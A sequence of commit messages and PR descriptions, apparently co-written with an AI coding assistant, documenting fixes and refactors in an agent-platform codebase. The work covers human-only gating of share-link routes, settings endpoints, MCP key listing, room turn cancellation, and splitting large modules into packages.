The fix is the grant-vs-use line (Invariant #8): the endpoint that USES a
capability may be agent-callable, the one that GRANTS one is human-only.

* `_gate_human_only(current_user, name, *, agent_detail)` is factored out of
  `_gate_pin` — the predicate was always right, only its NAME described one
  caller. A gate named for a verb ("removal") is one a fourth caller reaches
  past by accident; a gate named for its rule is not. `_gate_pin` and the new
  `_gate_share` both delegate to it, with per-caller refusal text because an
  agent reads that message to decide what to do next.
* The three share routes now call `_gate_share`.
* The delete routes deliberately KEEP `_gate_human_removal`, and a test guards
  that boundary in the other direction — the first attempt at this fix swept
  `clear_canvas` into the human-only gate, because one `str.replace` matched
  both bodies. That would have broken a real MCP tool for every agent: a
  security fix breeding the next bug, the /review §4.14 class.

Six regression tests; four of them fail against the previous commit (the other
two are the over-correction guards, which must pass both ways by design). The
23 tests already here covered scope defaults, expiry, revocation and
enumeration, but none used an agent principal on any share route — which is how
this shipped.

Docs: the user doc now states that sharing is the owner's alone and that the
routes refuse an agent's own key, beside the same sentence for pin; the flow
doc records the decision, the blast radius, and why the delete routes stay
permissive.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

* docs(canvas): record the share routes in the file's own mcp: convention (ent#554 review)

The header comment lists which canvas routes are deliberately NOT exposed as
MCP tools and why. ent#554 added three that qualify — minting, listing and
revoking a share link — and the list did not grow with them.

Worth more than a comment here: the ent#553 entry states the rule the share
routes then failed to follow ("no tool exposes it" is a property of the
client), so a reader consulting this header to decide a fourth route's gate
would have found the reasoning but not the precedent.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

* docs(learnings): a gate named after a verb gets reached for by the wrong route (ent#554 review)

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: Eugene Vyborov <eugene@ability.ai>
dolho added a commit that referenced this pull request Sep 14, 2026
#2202)

Two papercuts found together, on the one page a 31-page sweep flagged as the
only source of a page-level console error — and it produced one on every tab.

**The 404.** Settings read `public_chat_url` through the generic
`GET /api/settings/{key}`, which answers 404 for a key nobody has written. The
store already treated 404 as "unset", so nothing was broken; what was lost was
the signal — a real failure on that call looked exactly like the ordinary case —
and no client-side handling can suppress the browser's own network log, which is
why the fix is a route and not a try/catch. `GET /api/settings/public-chat-url`
answers 200 with `value: null` when unset, following the `/mcp-url` precedent:
a named route for a named setting, declared above `/{key}` (Invariant #4). The
generic route's 404 is deliberately unchanged — it is the documented contract for
every other key and is read outside this repo.

Writing the spec found a SECOND key with the same defect, unnamed in the issue:
`platform_default_model`, 404ing eight times per Settings load. It needed no new
route — `/api/settings/feature-flags` already carries the resolved value — so the
page now reads it from there, which is also more correct: the control shows what
the platform will actually use instead of blank.

**The unbounded list.** MCP Keys rendered every key an instance had ever minted:
measured 306, of which 294 revoked (96%), ~71KB of DOM text, no filter, no bound.
Agent keys accumulate structurally — one per agent, one per #1854 rotation, one
per ephemeral ghost — so the page grows for the life of the instance and the 12
keys that still work are buried in the 294 that do not. Revoked keys are now
hidden behind an explicit toggle that STATES the count, the list is searchable by
name/prefix/agent, and rendering is bounded at 25 rows with a "Show more". The
rules are pure (`utils/mcpKeyList.js`) because vitest runs `environment: 'node'`;
the non-admin agent-key filter is carried through unchanged and asserted, since
it is an access rule wearing a filter's clothes.

Three empties, three next actions — "No API keys" was a lie to an operator
holding 294 revoked ones — but ONE piece of chrome: the wording is computed and
only the action row branches, because three copies of the markup would have
tripled this file's palette-class count.

The new controls are built from the Base* primitives (#2122), and the two
container borders they need are paid for by converting the create form's
hand-rolled name input and description textarea to `BaseInput`/`BaseTextarea` in
the same component: `McpKeysTab.vue` raw_gray 97 -> 83. Baseline edited by hand,
not regenerated.

Verified against a local dev instance (a key created and revoked to exercise the
toggle, removed afterwards): every tab loads with zero 404s and zero console
errors, the list renders 2 of 3 keys with "Show revoked (1)" and "2 active", the
toggle reveals the revoked row while staying bounded, search narrows to a named
empty state that offers the way back, and the converted create form renders and
binds in both themes. Red without the fix on both halves. Frontend unit suite 134
files / 2949 tests green.

Fixes #2202

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Q19uRCksdn4DiRAJ55rfpZ
dolho added a commit that referenced this pull request Sep 15, 2026
…2795)

/review finding on this branch. `_wake_agent` tells a user cancel from a
failure by reading `execute_task`'s returned status — exact on a current agent
image, which relabels its own 504/502/500 to a `cancelled` 200 when its process
registry says the turn was terminated (#679 F3). An OLDER image re-raises:
`execute_task` writes FAILED, that write loses the CAS to the CANCELLED the
terminate route already wrote, and returns FAILED anyway. The room would then
post "<agent> could not respond (no response)." for a stop the reader had just
asked for — the exact AC #4 violation this PR exists to fix — and drop a resume
handle that was never bad.

The 1:1 is immune for a reason worth copying carefully: it never trusted the
return value either, it remembers the cancel client-side
(`cancelledExecutionIds`). A room has no such memory, so it asks the row.

Three properties: the re-read is scoped to the branch where it can change the
answer (the first draft fired on every terminal — a test now pins the
successful-reply path at zero reads); it is fail-OPEN, so an unreadable row
leaves the returned status in force; and it only runs on a path that has
already lost an LLM turn.

Tests: 24 in `tests/unit/test_2795_room_stop.py` (was 17), covering the
old-image cancel, a genuine failure, both no-read paths, and both fail-open
paths.

Related to #2795

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf
vybe pushed a commit that referenced this pull request Sep 15, 2026
… a failure (#2795) (#2798)

* fix(workspace): a running room turn can be stopped, and a stop is not a failure (#2795)

Two independent gaps stacked up, so once a room fanned a message out there was
no way to interrupt any agent short of waiting for the turn timeout.

**1. The room's tiles never offered Stop.** `PortalWorkCard` has always
rendered a Stop button; `PortalRoom.vue` simply never handed it `:can-stop` /
`@stop`. Wired to the Work tab's own store action — `stopItem` re-checks the
server's verdict, calls the same portal terminate route, treats a 404 as the
lost race rather than a refusal, and refetches so CANCELLED comes back from the
server instead of being written optimistically. Two surfaces, one cancel path.

**2. The server said those rows were unstoppable.** `can_stop` gated on
`kind in ("turn", "delegated")`, and a room wake projects as `room` — so the
Work tab listed the run and hid the only control that would have ended it.

That widening is not cosmetic: the terminate route's own gates are
`_require_roster(agent)` and `execution_belongs_to_caller` (agent match +
`source_user_email` match), and `_wake_agent` satisfies both by construction —
every wake runs through `execute_task(..., source_user_email=<the poster>)` on
an agent that is a room participant, which on the Workspace can only be an
agent already on the poster's roster. The route accepted these rows all along.
`test_the_projection_and_the_terminate_route_agree` now evaluates both
predicates against one row so the claim cannot rot. The kind list became a
named ALLOWLIST (`STOPPABLE_KINDS`) rather than gaining a third literal: an
unrecognised trigger projects as `other` and must stay unstoppable. `loop` is
still excluded — a loop is stopped from the Loops tab, where stopping the LOOP
is what the person means.

Nothing else about the gate moves: "only the person who started the run may
stop it" is untouched, and stopping one participant's execution leaves the
others alone (the fan-out is sequential, so the next agent is woken after the
cancel returns).

**3. A cancel read as a fault.** `_wake_agent` treated CANCELLED exactly like
FAILED: it posted "<agent> could not respond (no response)." — the surface
blaming the agent for something the reader themselves asked for — and dropped
the cached resume handle. That drop exists for a DEAD handle; a cancel is no
evidence of one, and dropping it makes the next turn pay for a cold context
rebuild. CANCELLED now posts "<agent>'s turn was stopped." and keeps the
handle. The read cursor is still not advanced, so the delta the stopped turn
never answered is re-delivered on the next wake.

**Escape** gets a rule of its own rather than being scoped out: a room fans out
to several agents, so `soleStoppableItem` stops the turn only when there is
exactly one to stop, and is a no-op otherwise — guessing by position destroys
work somebody is still waiting for. In practice the fan-out is sequential, so a
room normally has one live row and Escape behaves as it does in a 1:1. It goes
through `shouldCancelOnEscape` with the typeahead and add-agent popups as
overlays, so ent#155's "anything nearer the keystroke wins" rule is unchanged.

Also guards the live-work `v-if`/`v-else-if` chain with an AST test. Not
hypothetical: the first draft of this change inserted the stop-error line
between two of its arms and silently repointed the "…is thinking…" fallback at
`stopError`. The SFC compiled and every other test passed — the #2794 defect,
committed inside its own sibling fix. `roomComposerChain.spec.js` pins the same
hazard one region down.

Tests: `tests/unit/test_2795_room_stop.py` (17) and
`src/frontend/tests/unit/roomStopWork.spec.js` (17, incl. a negative-tested
chain guard). Full frontend suite 2922 green; the room/work backend suites 152
green.

Related to #2795

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf

* fix(workspace): read the terminal that STANDS, not the one returned (#2795)

/review finding on this branch. `_wake_agent` tells a user cancel from a
failure by reading `execute_task`'s returned status — exact on a current agent
image, which relabels its own 504/502/500 to a `cancelled` 200 when its process
registry says the turn was terminated (#679 F3). An OLDER image re-raises:
`execute_task` writes FAILED, that write loses the CAS to the CANCELLED the
terminate route already wrote, and returns FAILED anyway. The room would then
post "<agent> could not respond (no response)." for a stop the reader had just
asked for — the exact AC #4 violation this PR exists to fix — and drop a resume
handle that was never bad.

The 1:1 is immune for a reason worth copying carefully: it never trusted the
return value either, it remembers the cancel client-side
(`cancelledExecutionIds`). A room has no such memory, so it asks the row.

Three properties: the re-read is scoped to the branch where it can change the
answer (the first draft fired on every terminal — a test now pins the
successful-reply path at zero reads); it is fail-OPEN, so an unreadable row
leaves the returned status in force; and it only runs on a path that has
already lost an LLM turn.

Tests: 24 in `tests/unit/test_2795_room_stop.py` (was 17), covering the
old-image cancel, a genuine failure, both no-read paths, and both fail-open
paths.

Related to #2795

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf

* docs(learnings): a CAS loser returns its own verdict, not the winner's (#2795)

Found reviewing this branch: `_wake_agent` read `execute_task`'s returned
status to tell a cancel from a failure, which is exact only while the agent
image relabels its own cancel terminals. On an older image the FAILED write
loses the CAS to the terminate route's CANCELLED and returns FAILED anyway.

Related to #2795

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf

* fix(workspace): the refused-cancel line uses InlineError, not a hand-rolled p (#2795)

A failed verb surfaces an `InlineError` next to its control and persists until
dismissed (design-system contract, principle 18). The refused-cancel line was a
hand-rolled `<p role="status">` with no dismiss; the sibling surface for the
same verb already does it right (`PortalWork.vue:43`, same `stopError` ref).

`role="alert"` comes with the primitive, which is the correct semantic for a
problem the person must notice.

The AST guard locates the element by its static `data-testid`, which the
component node still carries, so `roomStopWork.spec.js`'s "the stop-error line
sits OUTSIDE the chain" is unchanged and still bites.

merge-train: mechanical, per the merge-train note on the PR.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: sim <eugene@beingluminous.com>
vybe pushed a commit that referenced this pull request Sep 16, 2026
…2487)

* refactor(settings): routers/settings.py becomes a ten-module package (#1028)

3,529 lines — the largest file in the backend, 4.4x the 800-line critical
threshold — split into ten domain modules composed onto ONE router, so the
mounted API is byte-identical and `from routers.settings import router` is
unchanged. Largest resulting module: credentials.py at 778 lines.

Inclusion order is load-bearing (Invariant #4): `generic` owns the
GET/PUT/DELETE /{key} catch-alls, which match any single segment, so it is
included LAST — before its siblings it would swallow /ops/config,
/brain-orb, /api-keys/anthropic and answer 'setting not found' for routes
that exist. test_1028_settings_package.py pins:

- the mounted route SET equals the pre-split module's, compared against the
  real blob out of git (60/60, none lost, none invented)
- no route is shadowed by an earlier registration (the property that
  actually matters — literal order is deliberately NOT pinned, since
  regrouping specific routes relative to each other is inert)
- the catch-all include stays last, named at the include line a human edits
- every module stays under the 800-line threshold
- the import surface callers depend on still resolves (resolve_mcp_url,
  the key sets, _REPO_PATTERN)

Collaborators (db, platform_audit_service, settings_service) are
deliberately NOT re-exported on the package __init__: ~20 tests patch them
as module attributes, and after a move such a patch would apply cleanly to
a module nobody reads — a test asserting nothing while hitting the real
accessor. Absent attributes make every stale patch raise AttributeError
instead, which is exactly how the 14 affected test files were found and
repointed to the modules that own their handlers.

GET '' (the root listing) is registered on the parent router because a
prefix-less sub-router cannot carry an empty path (FastAPI refuses).

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

* refactor(git): services/git_service.py becomes a six-module package (#1028)

2,322 lines split by responsibility — conflicts, gitignore, remotes,
trinity_files, sync, provisioning — with the full public surface re-exported
from the package __init__, so `from services.git_service import
sync_to_github` and `git_service.<name>` callers are unchanged. Largest
resulting module: gitignore.py at 649 lines.

Cross-module calls go THROUGH the sibling module object
(`gitignore._detect_git_dir(...)`), never a from-import of the function: a
from-import freezes the binding, so a test patching the owning module would
silently stop reaching the caller. Pinned structurally by
test_1028_git_service_package.py, alongside the size threshold and the
import surface.

Private names are re-exported ONLY where another backend module imports them
or a test reads them as data. A private function mirrored on both the
package and its owning module can be monkeypatched on the wrong one and
silently detach — which is exactly what happened to test_2069's readiness
probes mid-split (the multiline setattr sites patched the package's
re-exported copies while merge_gitignore_after_clone read the module's own),
so the collaborator-shaped names are deliberately not mirrored: a stale
patch raises AttributeError instead of testing nothing.

~15 test files repointed to the modules that own their handlers, including
the three sys.modules-isolated file loaders and test_github_init_push, whose
exec fake must now land on every module binding the driven function awaits
through (provisioning + gitignore + remotes — patched via the loaded package
instance, since its harness purges and reloads the package). The #2069
merge-caller guard now walks the whole package and matches qualified calls,
so a caller cannot fall out of its census by moving between modules.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

* refactor(client): services/agent_client.py becomes a three-module package (#1028)

1,294 lines split by responsibility — circuit (the #631 transport breaker:
constants, Lua, CircuitState, dormant alerting, admin read/reset), http_pool
(the per-agent httpx pool + drop-grace stamps), client (AgentClient, typed
errors, get_agent_client) — public surface re-exported from the package
__init__, so every existing import is unchanged. Largest module: client.py
at 698 lines.

Same discipline as the git_service split, pinned by
test_1028_agent_client_package.py: cross-module calls go through the sibling
module object, collaborators are not mirrored on the package, and no module
may from-import a sibling's function (a frozen binding silently detaches
monkeypatches on the owning module).

test_circuit_breaker.py's direct file-load gains package plumbing
(submodule_search_locations + a sys.modules registration before exec — the
__init__'s relative imports cannot resolve their parent otherwise), and its
patches land on the owning modules. The #1677 caller-parity allowlist entry
for _emit_dormant_alert follows the file to
services/agent_client/circuit.py — that guard firing on the move is exactly
what it is for.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

* refactor(ops,public): the heavyweight handlers move behind their routes (#1028)

The last two ACs. `public_chat` — 289 lines of session identity, access
gating, rate accounting, upload decoding, memory injection and dispatch,
inside routers/public.py — moves to services/public_chat_service.py in the
#1483 shape (service raises PublicChatError, the thin route maps it 1:1);
client-IP extraction, the per-IP limit and token resolution stay router-side
because they are HTTP concerns. agent_requires_email /
agent_allows_open_access move with it and the router re-imports them — one
definition, not a copy. public.py: 1,239 → 901 lines.

routers/ops.py's five heavyweights — fleet health, the #1860 locked fleet
restart, fleet stop, emergency stop, the cost rollup — move to
services/fleet_ops_service.py (704) and services/ops_costs_service.py (208).
The auth gates stay IN the router deliberately: the #2389 fence-vs-gate
scans read live handler source there, and a gate that moved with the body
would satisfy auth while blinding the scan. ops.py: 1,304 → 506 lines.

test_1028_extracted_services.py pins the thinness, the gates' location, the
size class — and an unresolved-module-scope-name walk, added because the
move surfaced exactly that class twice: PublicChatResponse was unresolved in
the chat service while 623 tests passed (nothing drives the sync-success
return), and utc_now_iso the same in the costs service. py_compile cannot
see this; the walk can.

test_1860 / test_1917 fixtures now hand back the SERVICE module with the
route entry points attached, so collaborator patches land on the bindings
the moved bodies actually read while the gate patch stays on the router.
The #894 override-wiring census follows public_chat's two execute_task call
sites to their new file.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

* test(1028): repoint the settings source-guards at the package; satisfy the sys.modules lint

Four guards read routers/settings.py as SOURCE TEXT (the ent#12 consent
AuditEventType pin + generic-PUT block, the ent#434 catch-all window)
and went FileNotFoundError when the module became a package — repointed
at the package glob (or generic.py where the guard scopes a specific
handler window). The new test files' own sys.modules registrations move
onto monkeypatch.setitem / the _restore_sys_modules precedent, and the
lint baseline is regenerated DOWNWARD (140 across 49 files — the patch
migrations in the split commits removed ~66 stale entries).

Related to #1028

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NLfHNPtB5UCMk4LonZiJux

* test(1028): the size guard counts blank lines out, comments in

Self-review finding, and the more serious of the two: my previous commit
changed the guard's METRIC so that my own edit would pass. That is the
re-baselining this file exists to make hard, wearing a docstring as cover.

Measured rather than argued. `credentials.py`:

  at 6d8c93a  raw 778   non-blank 687
  after        raw 806   non-blank 687   (blank-line restoration only)
                         non-blank-non-comment 643

Excluding blanks is exactly invariant under the change that prompted it.
Excluding comments as well moves the calibration: these files carry 110-208
comment lines each, so a comment-blind count hands `credentials.py` ~160 lines
of headroom the 800 ceiling never gave it, and `generic.py` 208.

So the metric now excludes blank separators and nothing else. Restoring a
PEP-8 blank line between two defs still does not read as a module growing,
and the ceiling still means what it meant when these files were authored
against it.

Related to #1028

* test(1028): name the size metric for what it counts

Re-review of my own fix. The metric was corrected to exclude blank lines only,
and left named `_logical_lines` — which in Python means the opposite, since a
logical line excludes comments.

That is not a cosmetic mismatch. Reading the phrase "logical lines" in this
test's docstring is precisely what talked the previous pass into excluding
comments and re-baselining the guard by 160 lines. Leaving the name in place
leaves the same trap armed, one identifier along, for the next reader who
"corrects" the body to match it.

`_non_blank_lines`, and the AC's docstring says "800 non-blank lines" in its
own words rather than delegating the definition to a helper name.

Related to #1028

* fix(1028): make the split's own safety nets actually run

Addresses the `/validate-pr` CHANGES_REQUESTED on #2487. Every item is about
a guard that is present and inert, which is why the refactor landed green.

**C1 — the 60/60 route-set proof never ran in CI.** It read the pre-split
module out of git, and every checkout in `backend-unit-test.yml` is
`fetch-depth: 1`, so `git show dd91056:…` failed on every run and the test
skipped — leaving "no route lost or invented" across a 3,529 → 10 module split
proven nowhere. The fork-point set is now a frozen 60-tuple literal (a fork
point is a historical fact, so freezing it costs no maintenance; a route added
since goes in `_ADDED_SINCE_SPLIT`, one reviewed line at a time). The git read
survives as a separate test that re-derives the literal wherever history is
deep enough, so the transcription cannot drift. Its temp module is written
under `tmp_path`, not `src/backend/` — an interrupted run there left a
top-level module `Dockerfile:131` would bake into the image.

**C2 — the integration suite broke at collection**, in FOUR files, not three:
`test_monitoring_service.py` too. All of them `spec_from_file_location` on
`services/agent_client.py`, which is now a package, so they raised
FileNotFoundError before any test ran; this only stayed green because
integration runs nightly rather than per-PR. Replaced with plain imports: the
loaders existed to bypass `services/__init__.py`, and that has not been true
since the module started importing `services.agent_auth` at import time (it is
on `dev` too). Privates come from the module that owns them
(`circuit._CIRCUIT_HASH_PREFIX`, `http_pool._client_pool`), per the package's
own no-mirrored-collaborators rule, and the caplog assertions key on the
parent logger name so they still capture from every submodule. Collection is
back to 83 = `dev`'s 83.

**Two invariant guards went blind on 3,529 lines.** `routers/settings/` is the
first subdirectory ever created under `routers/`, and both
`test_1310_auth_wiring.py` (Invariant #8) and `test_models_centralized.py`
(Invariant #14) globbed one level deep — all ten modules escaped, and it fails
open, so nothing showed. `rglob`, keyed by path relative to `routers/` so two
packages cannot share an allowlist key (a top-level file's relative path is its
bare name, so neither allowlist changes). 73 → 84 files scanned.

**A dead constant with a live test guarding it.** `routers/public.py` still
declared `MAX_CHAT_MESSAGES_PER_IP`/`_PER_TOKEN` while enforcement reads
`public_chat_service`'s copy, so `test_ip_rate_limit_fix.py` was asserting a
constant nothing enforces — equal values today, so only the guard had broken.
Now re-exported from the enforcing module.

**Split-detachment in `public.py`.** The two #311 gates were from-imported
under private aliases while the service called its own module-locals: one
function, two monkeypatch targets. Now called through the sibling module
object, which is the rule both package `__init__` docstrings state; the two
tests that patch or read it are repointed, and the `files.py` guard now bans
both spellings so the retired alias cannot let a re-import through.

Docs: `architecture.md` Invariant #1 gains the package paragraph (re-export
the public surface only; reach siblings through the module object; guards use
`rglob`), and the four stale `.py` references in the shards are corrected.

Also: nine modules carried a duplicated module-level `logger`; and
`fleet_ops_service` renames the fleet-restart log channel from `routers.ops`,
which is now stated in the code rather than left for an operator to discover.

Verified: unit suite 6269 passed, 1 failure — the pre-existing `::ffff:`
IPv4-mapped parsing case (local 3.12 vs the repo's 3.13 target), byte-identical
on clean `dev`.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* refactor(1028): split gitignore.py three ways after the dev merge

The dev merge brought #2529's ~715 lines into
`services/git_service/gitignore.py`, taking it to 1305 raw lines — past
the 800-line threshold this PR exists to enforce, and its own guard
(`test_1028_git_service_package::test_every_module_is_under_the_critical_threshold`)
said so. Re-baselining the guard under cover of a fix is precisely what
the settings-test docstring in this PR warns against, so the module is
split instead:

  gitignore.py        686  the patterns, the regions, the command builders
  gitignore_sweep.py  418  what a sweep DID — tags, parse, alert, report
  gitignore_clone.py  273  the once-per-agent merge after clone

The seam is "what the file CONTAINS" vs "what did that just do" vs "the
one-shot at creation". Cross-module references go through the module
object (`gitignore.<name>`, `gitignore_sweep.<name>`), never a
from-import: a from-import freezes the binding and a monkeypatch then
lands on a detached copy — which is how test_2069's readiness probes
went dark mid-split.

Three real defects surfaced while wiring it and are fixed here, not
carried:

- `_gitignore_merge_semaphore` and `_inflight_gitignore_merge_tasks`
  were referenced bare in `gitignore_clone` with no such globals —
  a NameError on the live clone-time merge path. The five merge
  constants + the semaphore + the in-flight set now live in
  `gitignore_clone`, their sole consumer.
- `_shadowed_negations` read `_GITIGNORE_MANAGED_LINES` bare after the
  move. It now reads it off `gitignore` through a deliberately
  function-local import — `gitignore` imports this module at its top
  level, so a module-level one would close the cycle at import time.
- `datetime` was left behind by `_augment_commit_message`.

The sibling suites are repointed at the module that OWNS each name, so
every symbol still has exactly one monkeypatch target: test_2529's sweep
names to `gitignore_sweep` (new `_sweep()` accessor beside `_gs()`), and
test_2069's readiness/merge collaborators to `gitignore_clone`.

741 passed, 3 skipped across the git/gitignore/1028/1310/models families.

Related to #1028

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Bd71qsYbFodvofba8P69eP

* test: dev's post-fork tests reach the split modules the way every earlier one does (#1028)

Five files landed on dev after the fork with patch targets and source reads
on the monoliths. Re-pointed the same way the split re-pointed the rest:

- test_ent582_platform_keys: `is_claude_auth_configured` /
  `connect_agents_to_first_credential` on `settings.credentials`,
  `platform_keys_service.check_resend_key` on `settings.provider_keys`
- test_2695_stt_capability_probe: `_elevenlabs_settings_state_with_capability`
  on `settings.integrations`
- test_2691_public_url_reachability: the save-path source read on
  `settings/generic.py`, the flag-surface read on `settings/flags.py`,
  `update_setting`/`db`/`platform_audit_service` on `generic`
- test_github_init_push: the exec recorder also installed on
  `git_service.token_scrub`, which the ent#615 seed now runs through
- routers/settings/generic.py: the #2572 hook reaches `credentials` through
  an absolute function-local import — `test_2216_backup_observability` and
  `test_2572` load this module in isolation via `spec_from_file_location`,
  where a module-level relative import raises at collection

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VpvcfgWkmQPD7DrDLmATTf

* test: dev's two new settings tests reach the split modules (#1028)

`test_workspace_flag_retired` patches `settings_service`, `telemetry_sharing_service`
and `db` on the module it calls `get_public_feature_flags` from, and
`test_2696_stt_provider_errors` calls `_elevenlabs_settings_state_with_capability`.
Both imported the flat `routers.settings`. Now they import the `flags` and
`integrations` submodules, like the earlier re-points in 9c34662, so the
patches land on the globals the handlers actually read.

Full unit suite on this tree: 16468 passed, 32 skipped, 0 failed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* test: patch the modules that own the moved globals, and let #1917 follow the moved ops code (#1028)

merge-train validation findings. Collection was fixed earlier; these are the
runtime half.

- `tests/integration/test_circuit_breaker.py`: 19 `monkeypatch.setattr(agent_client, ...)`
  calls and 34 `agent_client.CIRCUIT_*` reads now target
  `services.agent_client.circuit`, which reads its own globals. Patching the
  package re-export changed nothing, and `_get_circuit_redis` is not
  re-exported, so it raised AttributeError. Against a fakeredis server:
  8 failed / 26 passed before, 34 passed after (dev: 34 passed).
- `tests/git_sync/test_s5_conflict_classifier.py` loads `git_service/conflicts.py`,
  because the flat `git_service.py` no longer exists.
- `tests/git_sync/test_s7_reserve_instance_id.py` patches
  `check_remote_branch_exists` and `db` on `git_service.provisioning`, where
  `reserve_and_generate_instance_id` looks them up. Both git_sync files:
  33 passed.
- `tests/unit/test_1917_stack_trace_exposure.py`: the raw `str(e)` ban now
  also scans `services/fleet_ops_service.py` and `services/ops_costs_service.py`,
  where the ops handler bodies moved. Neither file has any hits today.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Co-authored-by: sim <sim@example.com>
vybe added a commit that referenced this pull request Sep 17, 2026
* fix(workspace): the ask badge said 2 and gave you no way to find them (#2424)

The sidebar advertised "2 asks are waiting on your answer" and then stranded
you: the agent that raised them carried no badge, its tooltip did not mention
them, and it could be collapsed out of the roster entirely. The only way to
locate a blocked agent was to open agents one at a time.

Observed on a 12-agent roster with two asks on ws-sage (11th of 12), so on a
fresh load the one row that mattered was behind the "show more" toggle.

Three failures, fixed together because separately each is a half-measure — a
badge with no destination, or a destination nobody can see.

1. The unit. `askCount` is `openAsks.length`, and the tooltip said "agents":
   two asks on ONE agent rendered as "2 agents are waiting on your answer". The
   number was right, the noun was wrong, and they only diverge when a single
   agent raises more than one ask — which is why it went unnoticed. Resolved
   toward ASKS rather than agents, because the row badges added here now answer
   "which agent", leaving the header to answer "how many decisions".

2. The row. `PortalSidebar.vue:139` renders a per-agent badge from
   `unreadByAgent` — unread REPLIES. Keeping asks out of that count is
   deliberate and documented at line 9 ("one is waiting on you to decide, the
   other on you to read"), and is preserved: the ask gets the *own badge* that
   comment promised, in `status-urgent` — the token the operator NavBar's
   pending-operator-queue badge already uses, so the two surfaces agree — and
   visually distinct from the indigo unread pill beside it. `agentRowTitle` had
   the same hole, so this is an accessibility fix too: a blocked agent's
   accessible name was the bare "Open ws-sage".

3. The collapse. #2159 capped the roster at five for a good reason (a long
   fleet pushed chats below the fold), but the slice is plain roster order with
   no ask weighting. Ask-bearing agents are now never hidden — appended, NOT
   floated to the top, because re-sorting on a transient count moves rows under
   the cursor between refreshes, the same reason the roster is not re-sorted by
   availability.

Not a regression: every piece shipped in its intended form; the gap was between
them.

Everything decidable moved into `portalUtils` (`asksByAgent`, `askBadgeTitle`,
`agentRowTitle`, `visibleAgentRows`, `AGENT_COLLAPSE_LIMIT`) because vitest runs
`environment: 'node'` with no mount harness — a rule inside the SFC is one no
test can reach, which is how all three of these shipped. Mutation-checked:
reverting the noun, dropping asks from the title, and restoring the plain slice
each turn the suite red.

`bg-amber-500` -> `bg-status-urgent-500` is required, not drive-by: new code must
be at zero raw palette classes, so the new badge needed a token, and the header
had to match it or the two ask indicators would differ. Amber maps to
`state-autonomous` (an operating mode), which is the wrong claim. PortalSidebar
is now at zero non-gray raw classes.

Two pre-existing guards asserted the moved expressions as source strings and are
rewritten to assert the properties behaviourally — strictly stronger, since they
now fail on a broken bound or a dropped chip title, not only on a reworded one:
- portalRosterRow #2159 "shows a fixed number by default"
- portalAvailabilityChip #2196 "row title carries the state"

Verification: 1518/1518 frontend unit tests, raw-color ratchet exit 0,
production build clean.

Closes #2424

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(workspace): the sync portal turn never carried its session, so report-back could not fire (#2426)

ent#457 gave the Workspace a report-back: an agent that delegates during a chat
turn gets the completion posted into that thread. It could not fire on the
SYNCHRONOUS path, because the parent execution never received the session
binding the report needs. `report_completion` gates on
`if not source_channel_chat_id`, and there the field was NULL.

Measured on a dev instance — 5 of 8 portal rows NULL, split exactly by path:

    07:55 -> 09:04   chat=7d27744d...   browser, streaming path
    09:06 -> 09:09   chat=NULL          POST .../chat, synchronous path

TWO CORRECT CHANGES THAT COLLIDE. ent#457 passes the binding down, and
`execute_task` persists it — but only inside `if not execution_id:`. ent#365's
`_precreate_sync_execution` has already created the row and handed the id over,
so that branch never runs, and the pre-create stamped only `source_channel`.
Its own docstring named the invariant it broke: "Mirrors `start_portal_turn`'s
creation exactly ... so the two paths produce indistinguishable rows and a
report published from either can be joined back to its chat."

The sibling comment in `start_portal_turn` says "both creation sites or the
stamp is a coin flip depending on which path made the row" — ent#457 covered the
two sites that existed when it was written; ent#365 had added a third.

Fix: stamp `source_channel_chat_id` + `source_channel_client` in the pre-create.
`session_id` is a REQUIRED parameter, not an optional one — the value is in
scope at the only call site, and a default would let a future caller silently
reintroduce the inert row. Rejected: teaching `execute_task` to UPDATE an
adopted row, which widens a hot path used by every trigger to repair one
caller's omission.

ALSO REPAIRS TWO GUARDS THAT WERE RED ON `dev`. `backend-unit-test` is failing
on dev right now; both failures are in this feature area and both are guards
